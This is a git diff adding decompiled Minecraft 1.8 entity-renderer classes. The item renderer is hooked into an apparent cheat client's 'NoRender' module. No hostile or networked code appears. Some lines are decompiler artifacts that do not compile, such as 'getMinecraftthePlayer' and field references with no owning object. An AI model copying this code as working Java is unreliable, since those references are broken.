+    GlStateManager.enableCull();
+    GlStateManager.shadeModel(7424);
+    RenderHelper.enableStandardItemLighting();
+    GlStateManager.popMatrix();
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityDragon p_110775_1_)
+  {
+    return enderDragonTextures;
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLiving p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityDragon)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  protected void rotateCorpse(EntityLivingBase p_77043_1_, float p_77043_2_, float p_77043_3_, float p_77043_4_)
+  {
+    func_180575_a((EntityDragon)p_77043_1_, p_77043_2_, p_77043_3_, p_77043_4_);
+  }
+  
+
+
+
+  protected void renderModel(EntityLivingBase p_77036_1_, float p_77036_2_, float p_77036_3_, float p_77036_4_, float p_77036_5_, float p_77036_6_, float p_77036_7_)
+  {
+    renderModel((EntityDragon)p_77036_1_, p_77036_2_, p_77036_3_, p_77036_4_, p_77036_5_, p_77036_6_, p_77036_7_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLivingBase p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityDragon)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityDragon)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityDragon)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderEnderman.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderEnderman.java
new file mode 100644
index 0000000..3607c6b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderEnderman.java
@@ -0,0 +1,97 @@
+package net.minecraft.client.renderer.entity;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.model.ModelEnderman;
+import net.minecraft.client.renderer.entity.layers.LayerHeldBlock;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityEnderman;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderEnderman extends RenderLiving
+{
+  private static final ResourceLocation endermanTextures = new ResourceLocation("textures/entity/enderman/enderman.png");
+  
+  private ModelEnderman endermanModel;
+  
+  private Random rnd = new Random();
+  private static final String __OBFID = "CL_00000989";
+  
+  public RenderEnderman(RenderManager p_i46182_1_)
+  {
+    super(p_i46182_1_, new ModelEnderman(0.0F), 0.5F);
+    endermanModel = ((ModelEnderman)mainModel);
+    addLayer(new net.minecraft.client.renderer.entity.layers.LayerEndermanEyes(this));
+    addLayer(new LayerHeldBlock(this));
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityEnderman p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    endermanModel.isCarrying = (p_76986_1_.func_175489_ck().getBlock().getMaterial() != net.minecraft.block.material.Material.air);
+    endermanModel.isAttacking = p_76986_1_.isScreaming();
+    
+    if (p_76986_1_.isScreaming())
+    {
+      double var10 = 0.02D;
+      p_76986_2_ += rnd.nextGaussian() * var10;
+      p_76986_6_ += rnd.nextGaussian() * var10;
+    }
+    
+    super.doRender(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  protected ResourceLocation func_180573_a(EntityEnderman p_180573_1_)
+  {
+    return endermanTextures;
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLiving p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityEnderman)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLivingBase p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityEnderman)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180573_a((EntityEnderman)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityEnderman)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderEndermite.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderEndermite.java
new file mode 100644
index 0000000..bf6d7fe
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderEndermite.java
@@ -0,0 +1,41 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelEnderMite;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityEndermite;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderEndermite extends RenderLiving
+{
+  private static final ResourceLocation field_177108_a = new ResourceLocation("textures/entity/endermite.png");
+  private static final String __OBFID = "CL_00002445";
+  
+  public RenderEndermite(RenderManager p_i46181_1_)
+  {
+    super(p_i46181_1_, new ModelEnderMite(), 0.3F);
+  }
+  
+  protected float func_177107_a(EntityEndermite p_177107_1_)
+  {
+    return 180.0F;
+  }
+  
+  protected ResourceLocation func_177106_b(EntityEndermite p_177106_1_)
+  {
+    return field_177108_a;
+  }
+  
+  protected float getDeathMaxRotation(EntityLivingBase p_77037_1_)
+  {
+    return func_177107_a((EntityEndermite)p_77037_1_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_177106_b((EntityEndermite)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderEntity.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderEntity.java
new file mode 100644
index 0000000..4897301
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderEntity.java
@@ -0,0 +1,37 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderEntity extends Render
+{
+  private static final String __OBFID = "CL_00000986";
+  
+  public RenderEntity(RenderManager p_i46185_1_)
+  {
+    super(p_i46185_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    GlStateManager.pushMatrix();
+    renderOffsetAABB(p_76986_1_.getEntityBoundingBox(), p_76986_2_ - lastTickPosX, p_76986_4_ - lastTickPosY, p_76986_6_ - lastTickPosZ);
+    GlStateManager.popMatrix();
+    super.doRender(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderEntityItem.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderEntityItem.java
new file mode 100644
index 0000000..34508e9
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderEntityItem.java
@@ -0,0 +1,181 @@
+package net.minecraft.client.renderer.entity;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.Module;
+import com.enjoytheban.module.modules.render.NoRender;
+import java.util.Random;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.texture.ITextureObject;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.resources.model.IBakedModel;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderEntityItem extends Render
+{
+  private final RenderItem field_177080_a;
+  private Random field_177079_e = new Random();
+  private static final String __OBFID = "CL_00002442";
+  
+  public RenderEntityItem(RenderManager p_i46167_1_, RenderItem p_i46167_2_)
+  {
+    super(p_i46167_1_);
+    field_177080_a = p_i46167_2_;
+    shadowSize = 0.15F;
+    shadowOpaque = 0.75F;
+  }
+  
+  private int func_177077_a(EntityItem p_177077_1_, double p_177077_2_, double p_177077_4_, double p_177077_6_, float p_177077_8_, IBakedModel p_177077_9_)
+  {
+    ItemStack var10 = p_177077_1_.getEntityItem();
+    net.minecraft.item.Item var11 = var10.getItem();
+    
+    if (var11 == null)
+    {
+      return 0;
+    }
+    
+
+    boolean var12 = p_177077_9_.isAmbientOcclusionEnabled();
+    int var13 = func_177078_a(var10);
+    float var14 = 0.25F;
+    float var15 = net.minecraft.util.MathHelper.sin((p_177077_1_.func_174872_o() + p_177077_8_) / 10.0F + hoverStart) * 0.1F + 0.1F;
+    GlStateManager.translate((float)p_177077_2_, (float)p_177077_4_ + var15 + 0.25F, (float)p_177077_6_);
+    
+
+    if ((var12) || ((renderManager.options != null) && (renderManager.options.fancyGraphics)))
+    {
+      float var16 = ((p_177077_1_.func_174872_o() + p_177077_8_) / 20.0F + hoverStart) * 57.295776F;
+      GlStateManager.rotate(var16, 0.0F, 1.0F, 0.0F);
+    }
+    
+    if (!var12)
+    {
+      float var16 = -0.0F * (var13 - 1) * 0.5F;
+      float var17 = -0.0F * (var13 - 1) * 0.5F;
+      float var18 = -0.046875F * (var13 - 1) * 0.5F;
+      GlStateManager.translate(var16, var17, var18);
+    }
+    
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    return var13;
+  }
+  
+
+  private int func_177078_a(ItemStack p_177078_1_)
+  {
+    byte var2 = 1;
+    
+    if (stackSize > 48)
+    {
+      var2 = 5;
+    }
+    else if (stackSize > 32)
+    {
+      var2 = 4;
+    }
+    else if (stackSize > 16)
+    {
+      var2 = 3;
+    }
+    else if (stackSize > 1)
+    {
+      var2 = 2;
+    }
+    
+    return var2;
+  }
+  
+
+  public void func_177075_a(EntityItem p_177075_1_, double p_177075_2_, double p_177075_4_, double p_177075_6_, float p_177075_8_, float p_177075_9_)
+  {
+    if (Client.instance.getModuleManager().getModuleByClass(NoRender.class).isEnabled()) {
+      return;
+    }
+    
+    ItemStack var10 = p_177075_1_.getEntityItem();
+    field_177079_e.setSeed(187L);
+    boolean var11 = false;
+    
+    if (bindEntityTexture(p_177075_1_))
+    {
+      renderManager.renderEngine.getTexture(func_177076_a(p_177075_1_)).func_174936_b(false, false);
+      var11 = true;
+    }
+    
+    GlStateManager.enableRescaleNormal();
+    GlStateManager.alphaFunc(516, 0.1F);
+    GlStateManager.enableBlend();
+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    GlStateManager.pushMatrix();
+    IBakedModel var12 = field_177080_a.getItemModelMesher().getItemModel(var10);
+    int var13 = func_177077_a(p_177075_1_, p_177075_2_, p_177075_4_, p_177075_6_, p_177075_9_, var12);
+    
+    for (int var14 = 0; var14 < var13; var14++)
+    {
+      if (var12.isAmbientOcclusionEnabled())
+      {
+        GlStateManager.pushMatrix();
+        
+        if (var14 > 0)
+        {
+          float var15 = (field_177079_e.nextFloat() * 2.0F - 1.0F) * 0.15F;
+          float var16 = (field_177079_e.nextFloat() * 2.0F - 1.0F) * 0.15F;
+          float var17 = (field_177079_e.nextFloat() * 2.0F - 1.0F) * 0.15F;
+          GlStateManager.translate(var15, var16, var17);
+        }
+        
+        GlStateManager.scale(0.5F, 0.5F, 0.5F);
+        field_177080_a.func_180454_a(var10, var12);
+        GlStateManager.popMatrix();
+      }
+      else
+      {
+        field_177080_a.func_180454_a(var10, var12);
+        GlStateManager.translate(0.0F, 0.0F, 0.046875F);
+      }
+    }
+    
+    GlStateManager.popMatrix();
+    GlStateManager.disableRescaleNormal();
+    GlStateManager.disableBlend();
+    bindEntityTexture(p_177075_1_);
+    
+    if (var11)
+    {
+      renderManager.renderEngine.getTexture(func_177076_a(p_177075_1_)).func_174935_a();
+    }
+    
+    super.doRender(p_177075_1_, p_177075_2_, p_177075_4_, p_177075_6_, p_177075_8_, p_177075_9_);
+  }
+  
+  protected ResourceLocation func_177076_a(EntityItem p_177076_1_)
+  {
+    return net.minecraft.client.renderer.texture.TextureMap.locationBlocksTexture;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_177076_a((EntityItem)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    if (!Client.instance.getModuleManager().getModuleByClass(NoRender.class).isEnabled()) {
+      func_177075_a((EntityItem)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderFallingBlock.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderFallingBlock.java
new file mode 100644
index 0000000..a79e8ff
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderFallingBlock.java
@@ -0,0 +1,93 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.BlockModelRenderer;
+import net.minecraft.client.renderer.BlockRendererDispatcher;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.renderer.vertex.DefaultVertexFormats;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.item.EntityFallingBlock;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.World;
+
+public class RenderFallingBlock extends Render
+{
+  private static final String __OBFID = "CL_00000994";
+  
+  public RenderFallingBlock(RenderManager p_i46177_1_)
+  {
+    super(p_i46177_1_);
+    shadowSize = 0.5F;
+  }
+  
+  public void doRender(EntityFallingBlock p_180557_1_, double p_180557_2_, double p_180557_4_, double p_180557_6_, float p_180557_8_, float p_180557_9_)
+  {
+    if (p_180557_1_.getBlock() != null)
+    {
+      bindTexture(TextureMap.locationBlocksTexture);
+      IBlockState var10 = p_180557_1_.getBlock();
+      Block var11 = var10.getBlock();
+      BlockPos var12 = new BlockPos(p_180557_1_);
+      World var13 = p_180557_1_.getWorldObj();
+      
+      if ((var10 != var13.getBlockState(var12)) && (var11.getRenderType() != -1))
+      {
+        if (var11.getRenderType() == 3)
+        {
+          GlStateManager.pushMatrix();
+          GlStateManager.translate((float)p_180557_2_, (float)p_180557_4_, (float)p_180557_6_);
+          GlStateManager.disableLighting();
+          Tessellator var14 = Tessellator.getInstance();
+          WorldRenderer var15 = var14.getWorldRenderer();
+          var15.startDrawingQuads();
+          var15.setVertexFormat(DefaultVertexFormats.field_176600_a);
+          int var16 = var12.getX();
+          int var17 = var12.getY();
+          int var18 = var12.getZ();
+          var15.setTranslation(-var16 - 0.5F, -var17, -var18 - 0.5F);
+          BlockRendererDispatcher var19 = Minecraft.getMinecraft().getBlockRendererDispatcher();
+          net.minecraft.client.resources.model.IBakedModel var20 = var19.getModelFromBlockState(var10, var13, null);
+          var19.func_175019_b().renderBlockModel(var13, var20, var10, var12, var15, false);
+          var15.setTranslation(0.0D, 0.0D, 0.0D);
+          var14.draw();
+          GlStateManager.enableLighting();
+          GlStateManager.popMatrix();
+          super.doRender(p_180557_1_, p_180557_2_, p_180557_4_, p_180557_6_, p_180557_8_, p_180557_9_);
+        }
+      }
+    }
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityFallingBlock p_110775_1_)
+  {
+    return TextureMap.locationBlocksTexture;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityFallingBlock)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityFallingBlock)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderFireball.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderFireball.java
new file mode 100644
index 0000000..c2f1822
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderFireball.java
@@ -0,0 +1,86 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.ItemModelMesher;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.projectile.EntityFireball;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderFireball extends Render
+{
+  private float scale;
+  private static final String __OBFID = "CL_00000995";
+  
+  public RenderFireball(RenderManager p_i46176_1_, float p_i46176_2_)
+  {
+    super(p_i46176_1_);
+    scale = p_i46176_2_;
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityFireball p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    GlStateManager.pushMatrix();
+    bindEntityTexture(p_76986_1_);
+    GlStateManager.translate((float)p_76986_2_, (float)p_76986_4_, (float)p_76986_6_);
+    GlStateManager.enableRescaleNormal();
+    float var10 = scale;
+    GlStateManager.scale(var10 / 1.0F, var10 / 1.0F, var10 / 1.0F);
+    TextureAtlasSprite var11 = Minecraft.getMinecraft().getRenderItem().getItemModelMesher().getParticleIcon(net.minecraft.init.Items.fire_charge);
+    Tessellator var12 = Tessellator.getInstance();
+    WorldRenderer var13 = var12.getWorldRenderer();
+    float var14 = var11.getMinU();
+    float var15 = var11.getMaxU();
+    float var16 = var11.getMinV();
+    float var17 = var11.getMaxV();
+    float var18 = 1.0F;
+    float var19 = 0.5F;
+    float var20 = 0.25F;
+    GlStateManager.rotate(180.0F - renderManager.playerViewY, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(-renderManager.playerViewX, 1.0F, 0.0F, 0.0F);
+    var13.startDrawingQuads();
+    var13.func_178980_d(0.0F, 1.0F, 0.0F);
+    var13.addVertexWithUV(0.0F - var19, 0.0F - var20, 0.0D, var14, var17);
+    var13.addVertexWithUV(var18 - var19, 0.0F - var20, 0.0D, var15, var17);
+    var13.addVertexWithUV(var18 - var19, 1.0F - var20, 0.0D, var15, var16);
+    var13.addVertexWithUV(0.0F - var19, 1.0F - var20, 0.0D, var14, var16);
+    var12.draw();
+    GlStateManager.disableRescaleNormal();
+    GlStateManager.popMatrix();
+    super.doRender(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  protected ResourceLocation func_180556_a(EntityFireball p_180556_1_)
+  {
+    return TextureMap.locationBlocksTexture;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180556_a((EntityFireball)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityFireball)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderFish.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderFish.java
new file mode 100644
index 0000000..f428049
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderFish.java
@@ -0,0 +1,131 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.projectile.EntityFishHook;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Vec3;
+
+public class RenderFish extends Render
+{
+  private static final ResourceLocation field_110792_a = new ResourceLocation("textures/particle/particles.png");
+  private static final String __OBFID = "CL_00000996";
+  
+  public RenderFish(RenderManager p_i46175_1_)
+  {
+    super(p_i46175_1_);
+  }
+  
+  public void func_180558_a(EntityFishHook p_180558_1_, double p_180558_2_, double p_180558_4_, double p_180558_6_, float p_180558_8_, float p_180558_9_)
+  {
+    GlStateManager.pushMatrix();
+    GlStateManager.translate((float)p_180558_2_, (float)p_180558_4_, (float)p_180558_6_);
+    GlStateManager.enableRescaleNormal();
+    GlStateManager.scale(0.5F, 0.5F, 0.5F);
+    bindEntityTexture(p_180558_1_);
+    Tessellator var10 = Tessellator.getInstance();
+    WorldRenderer var11 = var10.getWorldRenderer();
+    byte var12 = 1;
+    byte var13 = 2;
+    float var14 = (var12 * 8 + 0) / 128.0F;
+    float var15 = (var12 * 8 + 8) / 128.0F;
+    float var16 = (var13 * 8 + 0) / 128.0F;
+    float var17 = (var13 * 8 + 8) / 128.0F;
+    float var18 = 1.0F;
+    float var19 = 0.5F;
+    float var20 = 0.5F;
+    GlStateManager.rotate(180.0F - renderManager.playerViewY, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(-renderManager.playerViewX, 1.0F, 0.0F, 0.0F);
+    var11.startDrawingQuads();
+    var11.func_178980_d(0.0F, 1.0F, 0.0F);
+    var11.addVertexWithUV(0.0F - var19, 0.0F - var20, 0.0D, var14, var17);
+    var11.addVertexWithUV(var18 - var19, 0.0F - var20, 0.0D, var15, var17);
+    var11.addVertexWithUV(var18 - var19, 1.0F - var20, 0.0D, var15, var16);
+    var11.addVertexWithUV(0.0F - var19, 1.0F - var20, 0.0D, var14, var16);
+    var10.draw();
+    GlStateManager.disableRescaleNormal();
+    GlStateManager.popMatrix();
+    
+    if (angler != null)
+    {
+      float var21 = angler.getSwingProgress(p_180558_9_);
+      float var22 = MathHelper.sin(MathHelper.sqrt_float(var21) * 3.1415927F);
+      Vec3 var23 = new Vec3(-0.36D, 0.03D, 0.35D);
+      var23 = var23.rotatePitch(-(angler.prevRotationPitch + (angler.rotationPitch - angler.prevRotationPitch) * p_180558_9_) * 3.1415927F / 180.0F);
+      var23 = var23.rotateYaw(-(angler.prevRotationYaw + (angler.rotationYaw - angler.prevRotationYaw) * p_180558_9_) * 3.1415927F / 180.0F);
+      var23 = var23.rotateYaw(var22 * 0.5F);
+      var23 = var23.rotatePitch(-var22 * 0.7F);
+      double var24 = angler.prevPosX + (angler.posX - angler.prevPosX) * p_180558_9_ + xCoord;
+      double var26 = angler.prevPosY + (angler.posY - angler.prevPosY) * p_180558_9_ + yCoord;
+      double var28 = angler.prevPosZ + (angler.posZ - angler.prevPosZ) * p_180558_9_ + zCoord;
+      double var30 = angler.getEyeHeight();
+      
+      if (((renderManager.options != null) && (renderManager.options.thirdPersonView > 0)) || (angler != getMinecraftthePlayer))
+      {
+        float var32 = (angler.prevRenderYawOffset + (angler.renderYawOffset - angler.prevRenderYawOffset) * p_180558_9_) * 3.1415927F / 180.0F;
+        double var33 = MathHelper.sin(var32);
+        double var35 = MathHelper.cos(var32);
+        double var37 = 0.35D;
+        double var39 = 0.8D;
+        var24 = angler.prevPosX + (angler.posX - angler.prevPosX) * p_180558_9_ - var35 * 0.35D - var33 * 0.8D;
+        var26 = angler.prevPosY + var30 + (angler.posY - angler.prevPosY) * p_180558_9_ - 0.45D;
+        var28 = angler.prevPosZ + (angler.posZ - angler.prevPosZ) * p_180558_9_ - var33 * 0.35D + var35 * 0.8D;
+        var30 = angler.isSneaking() ? -0.1875D : 0.0D;
+      }
+      
+      double var47 = prevPosX + (posX - prevPosX) * p_180558_9_;
+      double var34 = prevPosY + (posY - prevPosY) * p_180558_9_ + 0.25D;
+      double var36 = prevPosZ + (posZ - prevPosZ) * p_180558_9_;
+      double var38 = (float)(var24 - var47);
+      double var40 = (float)(var26 - var34) + var30;
+      double var42 = (float)(var28 - var36);
+      GlStateManager.func_179090_x();
+      GlStateManager.disableLighting();
+      var11.startDrawing(3);
+      var11.func_178991_c(0);
+      byte var44 = 16;
+      
+      for (int var45 = 0; var45 <= var44; var45++)
+      {
+        float var46 = var45 / var44;
+        var11.addVertex(p_180558_2_ + var38 * var46, p_180558_4_ + var40 * (var46 * var46 + var46) * 0.5D + 0.25D, p_180558_6_ + var42 * var46);
+      }
+      
+      var10.draw();
+      GlStateManager.enableLighting();
+      GlStateManager.func_179098_w();
+      super.doRender(p_180558_1_, p_180558_2_, p_180558_4_, p_180558_6_, p_180558_8_, p_180558_9_);
+    }
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityFishHook p_110775_1_)
+  {
+    return field_110792_a;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityFishHook)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_180558_a((EntityFishHook)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderGhast.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderGhast.java
new file mode 100644
index 0000000..254a317
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderGhast.java
@@ -0,0 +1,55 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelGhast;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityGhast;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderGhast extends RenderLiving
+{
+  private static final ResourceLocation ghastTextures = new ResourceLocation("textures/entity/ghast/ghast.png");
+  private static final ResourceLocation ghastShootingTextures = new ResourceLocation("textures/entity/ghast/ghast_shooting.png");
+  private static final String __OBFID = "CL_00000997";
+  
+  public RenderGhast(RenderManager p_i46174_1_)
+  {
+    super(p_i46174_1_, new ModelGhast(), 0.5F);
+  }
+  
+  protected ResourceLocation func_180576_a(EntityGhast p_180576_1_)
+  {
+    return p_180576_1_.func_110182_bF() ? ghastShootingTextures : ghastTextures;
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityGhast p_77041_1_, float p_77041_2_)
+  {
+    float var3 = 1.0F;
+    float var4 = (8.0F + var3) / 2.0F;
+    float var5 = (8.0F + 1.0F / var3) / 2.0F;
+    GlStateManager.scale(var5, var4, var5);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityLivingBase p_77041_1_, float p_77041_2_)
+  {
+    preRenderCallback((EntityGhast)p_77041_1_, p_77041_2_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180576_a((EntityGhast)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderGiantZombie.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderGiantZombie.java
new file mode 100644
index 0000000..9f29216
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderGiantZombie.java
@@ -0,0 +1,75 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.model.ModelZombie;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.layers.LayerBipedArmor;
+import net.minecraft.client.renderer.entity.layers.LayerHeldItem;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityGiantZombie;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderGiantZombie extends RenderLiving
+{
+  private static final ResourceLocation zombieTextures = new ResourceLocation("textures/entity/zombie/zombie.png");
+  
+  private float scale;
+  
+  private static final String __OBFID = "CL_00000998";
+  
+  public RenderGiantZombie(RenderManager p_i46173_1_, ModelBase p_i46173_2_, float p_i46173_3_, float p_i46173_4_)
+  {
+    super(p_i46173_1_, p_i46173_2_, p_i46173_3_ * p_i46173_4_);
+    scale = p_i46173_4_;
+    addLayer(new LayerHeldItem(this));
+    addLayer(new LayerBipedArmor(this)
+    {
+      private static final String __OBFID = "CL_00002444";
+      
+      protected void func_177177_a() {
+        field_177189_c = new ModelZombie(0.5F, true);
+        field_177186_d = new ModelZombie(1.0F, true);
+      }
+    });
+  }
+  
+  public void func_82422_c()
+  {
